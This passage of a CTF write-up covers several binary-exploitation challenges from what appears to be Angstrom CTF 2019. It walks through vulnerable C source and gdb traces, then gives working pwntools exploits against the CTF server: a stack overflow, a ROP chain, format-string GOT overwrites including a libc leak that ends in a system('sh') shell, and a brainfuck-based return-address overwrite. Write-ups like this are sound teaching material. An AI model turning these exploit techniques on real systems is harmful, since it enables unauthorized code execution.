$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007fffffffe3a0  →  "AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB"
$rdi   : 0x00007fffffffe360  →  0x4141414141414100
$rip   : 0x000000000040138e  →  <create_aquarium+469> ret
$r8    : 0x000000000040571d  →  0x0000000000000000
$r9    : 0x00007fffffffe310  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$r10   : 0xfffffffffffff4fa
$r11   : 0x00007ffff7f69a60  →  0xfff20c40fff20c30
$r12   : 0x00000000004010c0  →  <_start+0> endbr64
$r13   : 0x00007fffffffe4d0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
[!] Command 'registers' failed to execute properly, reason: Invalid cast.
───────────────────────────────────────────────────────────────────── stack ────
[!] Command 'dereference' failed to execute properly, reason: Unknown register.
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401383 <create_aquarium+458> mov    DWORD PTR [rax+0x48], edx
     0x401386 <create_aquarium+461> mov    rax, QWORD PTR [rbp-0x98]
     0x40138d <create_aquarium+468> leave
 →   0x40138e <create_aquarium+469> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "aquarium", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40138e → create_aquarium()
────────────────────────────────────────────────────────────────────────────────
gef➤  stack
00:0000│ rsp      0x7fffffffe398 ◂— 0x4242424242424242 ('BBBBBBBB')
01:0008│ rax rsi  0x7fffffffe3a0 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓
04:0020│          0x7fffffffe3b8 ◂— 0x4242424242424242 ('BBBBBBBB')
05:0028│          0x7fffffffe3c0 ◂— 0x4141414141414100
06:0030│          0x7fffffffe3c8 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓

So yes, when ret is called, rsp is pointing to BBBBBBBB - I just need to replace this with the address of flag which is at 00000000004011b6:

justin@kali:~/angstrom2019$ readelf -s aquarium | grep flag
    75: 00000000004011b6    19 FUNC    GLOBAL DEFAULT   13 flag

Throwing this together into a pwntools script to run against the remote binary:

from pwn import *

#p = process("./aquarium")
p = remote("shell.actf.co", 19305)
p.sendline("1\n" * 6 + "A"*152 + p64(0x00000000004011b6))
p.interactive()

which spits out

[+] Opening connection to shell.actf.co on port 19305: Done
[*] Switching to interactive mode
Enter the number of fish in your fish tank: Enter the size of the fish in your fish tank: Enter the amount of water in your fish tank: Enter the width of your fish tank: Enter the length of your fish tank: Enter the height of your fish tank: Enter the name of your fish tank: actf{overflowed_more_than_just_a_fish_tank}
Segmentation fault (core dumped)
[*] Got EOF while reading in interactive

pwntools (the python library used) can also retrieve the address of flag without having to manually readelf it:

from pwn import *

e = ELF("./aquarium")

#p = process("./aquarium")
p = remote("shell.actf.co", 19305)
p.sendline("1\n" * 6 + "A"*152 + p64(e.symbols["flag"]))
p.interactive()

Chain Of Rope

The exploit used in the previous challenge allows us to call a single function, after which the program promptly segfaults. What if we wanted to call multiple functions one after another?

Source:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
	userToken = 0x1337;
	return 0;
}

int addBalance (int pin) {
	if (userToken == 0x1337 && pin == 0xdeadbeef) {
		balance = 0x4242;
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

int flag (int pin, int secret) {
	if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
		printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
		system("/bin/cat flag.txt");
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

void getInfo () {
	printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	char name [32];
	printf("--== ROPE CHAIN BLACK MARKET ==--\n");
	printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
	printf("What would you like to do?\n");
	printf("1 - Set name\n");
	printf("2 - Get user info\n");
	printf("3 - Grant access\n");
	int choice;
	scanf("%d\n", &choice);
	if (choice == 1) {
		gets(name);
	} else if (choice == 2) {
		getInfo();
	} else if (choice == 3) {
		printf("lmao no\n");
	} else {
		printf("I don't know what you're saying so get out of my black market\n");
	}
	return 0;
}

Another buffer overflow vulnerability is present in main at gets(name), allowing us to overwrite the return address of main.

The attack plan:

  1. Call authorize()
  2. Call addBalance(0xdeadbeef)
  3. Call flag(0xba5eba11, 0xbedabb1e)

How do we do this? We can just fake stack frames, utilizing gadgets found with ropper.

from pwn import *

#p = process("./chain_of_rope")
p = remote("shell.actf.co", 19400)
payload = "A" * 56
payload += p64(0x4006c7)           # call authorize
payload += p64(0x00000000004008f3) # pop rdi; ret
payload += p64(0xdeadbeef)         # pin for addBalance
payload += p64(0x4006dc)           # call addBalance
payload += p64(0x00000000004008f3) # pop rdi; ret
payload += p64(0xba5eba11)         # pin for flag
payload += p64(0x00000000004008f1) # pop rsi; pop r15; ret
payload += p64(0xbedabb1e)         # secret for flag
payload += p64(0xbedabb1e)         # junk for r15
payload += p64(0x40071c)           # call flag

p.sendline("1")
p.sendline(payload)

p.interactive()

Purchases

Source:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[60];
	printf("What item would you like to purchase? ");
	fgets(item, sizeof(item), stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("You don't have any money to buy ");
		printf(item);
		printf("s. You're wasting your time! We don't even sell ");
		printf(item);
		printf("s. Leave this place and buy ");
		printf(item);
		printf(" somewhere else. ");
	}

	printf("Get out!\n");
	return 0;
}

A format string exploit is possible here because of printf(item). If user input is passed directly to the first (format) parameter of printf, one can read and write to arbitrary memory locations. Writes are accomplished through the use of the %n format specifier: it writes the number of bytes printed so far to the given address.

%{padding}x%{position}${type}n is a convenient payload:

padding - write a data value padded to padding length. This is used to control the value written with %n later.

position - position of printf parameter to write the value to

type - how many bytes to write. Where space permits, write to 2 bytes or less at a time so you don't need to pad as much data. h writes 2 bytes, hh writes one byte.

In this case, since there is a flag function available, we can overwrite printf@got with the address of flag.

from pwn import *

ADDR_FLAG = 0x00000000004011b6

e = ELF("./purchases")

ADDR_PRINTF_GOT = 0x404040

log.info("printf@got: {}".format(hex(e.got["printf"])))

#p = process("./purchases")
#gdb.attach(p, """
#b *main+354
#continue""")

p = remote("shell.actf.co", 19011)

# %paddingx%offset%hn
# hn == 2 bytes, hhn = 1 byte
fmtstr = "%{}x%13$hn %{}x%14$hn %{}x%15$hn".format(0x11b6, 0xee89, 0xffbf)
#fmtstr = "%13$p"
print(len(fmtstr))
assert(len(fmtstr) <= 40)

# somethings strange going on: writing 0x40404040 for first address becomes 0x404040
payload = fmtstr.ljust(40, ".") + p64(0x40404040) + p64(ADDR_PRINTF_GOT + 2) + p64(ADDR_PRINTF_GOT + 4) + p64(ADDR_PRINTF_GOT + 6)

print(hexdump(payload))

p.sendline(payload)
p.interactive()

Because the address of printf@got contains null bytes (printf will stop printing at the first null byte it sees) , I write my format string first, pad it (to ensure alignment of the addresses) and then write my addresses.

Returns

The same as Purchases above with a catch - there is no win function. However, the libc file is provided - meaning the goal is likely to make use of system.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[50];
	printf("What item would you like to return? ");
	fgets(item, 50, stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("We didn't sell you a ");
		printf(item);
		printf(". You're trying to scam us! We don't even sell ");
		printf(item);
		printf("s. Leave this place and take your ");
		printf(item);
		printf(" with you. ");
	}

	printf("Get out!\n");
	return 0;
}

The problem is ASLR - we would have to leak the libc location, then calculate the actual address of system from there. However, I would need to be able to print my string two times while the binary quits after a failed attempt.

The answer is a compiler optimization that converts printf with a static string as a parameter into puts: take a look at the decompiled main

int iVar1;
size_t sVar2;
long in_FS_OFFSET;
__gid_t local_4c;
char local_48 [56];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_4c = getegid();
setresgid(local_4c,local_4c,local_4c);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
printf("What item would you like to return? ");
fgets(local_48,0x32,stdin);
sVar2 = strlen(local_48);
*(undefined *)((long)&local_4c + sVar2 + 3) = 0;
iVar1 = strcmp(local_48,"nothing");
if (iVar1 == 0) {
  printf("Then why did you even come here? ");
}
else {
  printf("We didn\'t sell you a ");
  printf(local_48);
  printf(". You\'re trying to scam us! We don\'t even sell ");
  printf(local_48);
  printf("s. Leave this place and take your ");
  printf(local_48);
  printf(" with you. ");
}
puts("Get out!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                  /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
return 0;

That final printf("Get out!") became puts("Get out!")! This means that we can overwrite puts@got with the address of main, causing main to recursively call itself instead of exiting.

The plan:

  1. Leak libc base and overwrite puts@got with main
  2. Calculate system address
  3. Overwrite printf@got with system@libc
# libc local-238e834fc5baa8094f5db0cde465385917be4c6a
from pwn import *

offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390

e = ELF("./returns")

if 0:
    p = process("./returns")
    gdb.attach(p, """
    b printf
    ignore 1 10
    b *main+354
    continue""")
else:
    p = remote("shell.actf.co", 19307)

log.info("puts@got: {}".format(hex(e.got["puts"])))

# leak address of __libc_start_main+235 and overwrite puts@got
fmtstr = "%17$p %4503x%12$hn"

p.sendline(fmtstr.ljust(32, ".") + p64(0x40404018)) # main at 0x404018, 0x40404018 becomes 0x404018, dont ask me how
p.recvuntil("sell you a ")

# calculate libc base from ret address of main
libc_base = int(p.recv(14), 16) - offset___libc_start_main_ret
address_system = libc_base + offset_system

log.info("libc base: {}".format(hex(libc_base)))
log.info("address system: {}".format(hex(address_system)))

# overwrite printf@got with system@glibc
# cheat and overwrite just the first 3 bytes of printf@got since the rest should be same/similar
# write byte 2 of printf@got first, then byte 0 and 1
count1 = ((address_system >> 16) & 0xFF) -4
count2 = (address_system & 0xFFFF) - count1 - 4
fmtstr = "sh;#%{}x%13$hhn%{}x%12$hn".format(count1, count2)
log.info(fmtstr)

assert(len(fmtstr) <= 32)

p.recvuntil("would you like to return?")
p.sendline(fmtstr.ljust(32, ".") + p64(0x40404038) + p64(0x404038 + 2))

p.recvuntil("@@")
p.interactive()

Over My Brain

Source:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	FILE *file;
	file = fopen("flag.txt", "r");
	int c;
	while ((c = getc(file)) != EOF) {
		putchar(c);
	}
	fclose(file);
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char cells[256] = {0};
	char code[144];
	printf("enter some brainf code: ");
	fgets(code, sizeof(code), stdin);
	int balance = 0;
	for (int i=0; i<strlen(code); i++) {
		if (code[i] == '[') {
			balance++;
		} else if (code[i]==']') {
			balance--;
		}
		if (balance < 0) {
			printf("hey get your brackets straight\n");
			return 0;
		}
	}
	if (balance != 0) {
		printf("hey get your brackets straight\n");
		return 0;
	}
	int i = 0;
	int p = 0;
	while (p < strlen(code)) {
		switch (code[p]) {
			case '>':
				i++;
				p++;
				break;
			case '<':
				i--;
				p++;
				break;
			case '+':
				*(cells+i) += 1;
				p++;
				break;
			case '-':
				*(cells+i) -= 1;
				p++;
				break;
			case '.':
				printf("%c", *(cells+i));
				p++;
				break;
			case ',':
				printf("we don't support input sorry\n");
				p++;
				break;
			case '[': {
				if (*(cells+i) != 0) {
					p++;
					break;
				}
				int ball = 0;
				for (int j=p; j<strlen(code); j++) {
					if (code[j] == '[') {
						ball++;
					} else if (code[j] == ']') {
						ball--;
					}
					if (ball == 0) {
						p = j+1;
						break;
					}
				}
				break;
			}
			case ']': {
				if (*(cells+i) == 0) {
					p++;
					break;
				}
				int balr = 0;
				for (int j=p; j>0; j--) {
					if (code[j] == '[') {
						balr++;
					} else if (code[j] == ']') {
						balr--;
					}
					if (balr == 0) {
						p = j+1;
						break;
					}
				}
				break;
			}
			default:
				p++;
		}
	}
	return 0;
}

The objective is straightforward - in 143 bytes of brainfuck, overwrite the return address of main with the address of flag.

The how however, is not that straightforward. How do I advance more than 256 bytes of data to reach the return address in 143 bytes of brainfuck? Sadly, the solution of executing > * 0x140 is not an option.

Attempt 1

My first attempt tried to make use of the fact that the cells were all nulled - what if I just advanced until I found the first non zero cell? I built a version around the code presented here, tested it, and realised nope, I cannot rely on the number of empty cells to remain constant across different systems.

Attempt 2

Unfortunately this involves me figuring out how to write brainfuck.

This advances 255 bytes:

-        # overflow current cell to 255
[        # while current cell is not zero
  [>+<-] # while current cell is not zero, add one to the next and subtract one
  >-     # advance to the next cell, subtracting 1
]        # repeat until the cell is 0
>

This starts with 255 in the current cell, copying it into the next, then decrementing it by one. Then copy 254 into the next cell, decrement it by one. This repeats until the value becomes 0 - at the end of which the data pointer is advanced by 255 bytes.

Now that we've moved 255 bytes, what next? I needed to advance another 70 bytes before reaching the return address of main. Of course, I could add 70 >s to the code, except that I ran head first into the 143 byte limit.

These 70 bytes were not guaranteed to be zero, so the brainfuck above woudn't work. The obvious answer is to modify the advancement code to wipe the next cell before copying into it - except that this clobbers important data like the data pointer: oops.

-
[
  [>+<-]
  >-
  >[-]<  # wipe the next cell
]
>

With that, I turned my attention to trying to reduce the size of my code that actually writes the address of flag at the return address of main.

This was my first try (writing 0x4011c6):

>>[-]>[-]>[-]<<<< # wipe first 3 bytes of address
++++++++[>        # set loop counter to 8
>--------         # minus 8 * 8 from byte 0 (0x00 > 0xc0)
>++               # add 8 * 2 to byte 1     (0x00 > 0x10)
>++++++++         # add 8 * 8 to byte 2     (0x00 > 0x40)
<<<<-]            # close loop
>>+++++++         # add 3 to byte 0         (0xc0 > 0xc6)
>+                # add 1 to byte 1         (0x10 > 0x11)
>>[-]>[-]>[-]     # wipe next 3 bytes

Given it was still too long, I messed with it until I got it short enough:

>>[[-]>]          # clear non zero bytes until a zero byte is found (clears 6 bytes)
<<<<<<<           # go back to counter pos
++++++++++++++++[ # loop 16 times
>----             # minus 16 * 4 from byte 0 (0x00 > 0xc0)
>+                # add 16 * 1 to byte 1     (0x00 > 0x10)
>++++             # add 16 * 4 to byte 2     (0x00 > 0x40)
<<<-]             # close loop
>++++++           # add 6 to byte 0          (0xc0 > 0xc6)
>+                # add 1 to byte 1          (0x10 > 0x11)

This got my payload short enough. The final script:

from pwn import *

# flag: 0x4011c6

if 0:
    p = process("./over_my_brain")
    gdb.attach(p, """
    b *main+887
    continue
    """)
else:
    p = remote("shell.actf.co", 19010)
p.recvuntil("code: ")
payload = ""
payload = "-[[>+<-]>-]>"     # advance 255 bytes
payload += ">" * 0x46

payload += ">>[[-]>]"           # clear non zero bytes until a zero byte is found
payload += "<<<<<<<"            # go back to counter pos
payload += "++++++++++++++++["  # loop 16 times
payload += ">----"              # minus 64 to byte 0 of return address (starts being 0x0, ends being 0xc0)
payload += ">+"                 # add 16 * 1 to byte 1 of return address (starts being 0x00, ends being 0x10)
payload += ">++++"              # add 16 * 4 to byte 2 of return address (starts being 0x00, ends being 0x40)
payload += "<<<-]"              # close loop
payload += ">++++++"            # add 6 to byte 0 of return address (starts being 0xc0, ends being 0xc6)
payload += ">+"                 # add 1 to byte 1 of return address (starts being 0x10, ends being 0x11)
log.info("Sending payload of length {}".format(len(payload)))
log.info("Payload: {}".format(payload))
assert len(payload) < 144
p.sendline(payload)
print(hexdump(p.recv()))
p.interactive()